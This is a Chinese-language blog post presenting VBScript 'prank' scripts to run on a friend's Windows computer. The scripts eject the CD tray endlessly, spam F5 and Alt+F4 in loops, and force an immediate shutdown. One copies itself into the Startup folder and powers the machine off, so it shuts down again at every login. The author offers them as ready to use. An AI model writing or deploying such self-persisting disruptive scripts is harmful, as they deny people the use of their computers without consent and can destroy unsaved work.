简单VBS代码实现整蛊朋友电脑 小白可学

大家好！我是蒙面科技，第一次开通头条号，给大家分享一个电脑整蛊代码，实现起来特别简单，只用到电脑上的记事本即可。

大神勿喷·简单教程，好了话不多说，开整！

第一步：

第二步：

到此新手教学完毕，下面进入大神课堂教学。

无限弹出光驱：

------------------------------------------------

set wmp=createobject("wmplayer.ocx")

set cd=wmp.cdromcollection.item(0)

do

cd.eject

loop

------------------------------------------------

无尽语音报数：

无限语音从1数到无限大。

------------------------------------------------

Set s = CreateObject("sapi.spvoice")

i=0

do

s.speak i

i=i+1

loop

------------------------------------------------

无尽刷新：

慎用，如此刷新打开任务管理器都难，只能拔掉电源。

------------------------------------------------

set ws=createobject("wscript.shell")

do

ws.sendkeys "{f5}"

loop

------------------------------------------------

修改注册表：

------------------------------------------------

on error resume next

set wr=createobject("scripting.filesystemobject")

set ws=createobject("wscript.shell")

set f = wr.getfile(wscript.scriptfullname)

q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup")

if not f="Win32.vbs" then wr.copyfile f,q&"\Win32.vbs",true

ws.run"shutdown -p",vbhide

------------------------------------------------

直接关机：

------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

------------------------------------------------

不断按下alt+f4 ：

打开任何程序都关掉

------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

do

wscript.sleep 2500

WSHshell.SendKeys "%{F4}"

loop

------------------------------------------------

开玩笑也得有个度，凡事都不要太过。上面的代码的尺度还不算很大，大家可以玩玩。

如你觉得蒙面科技写的不错，可以给蒙面科技一点小小的支持点个赞评论一下哦，如果你也喜欢计算机网络技巧，可以点击关注哦！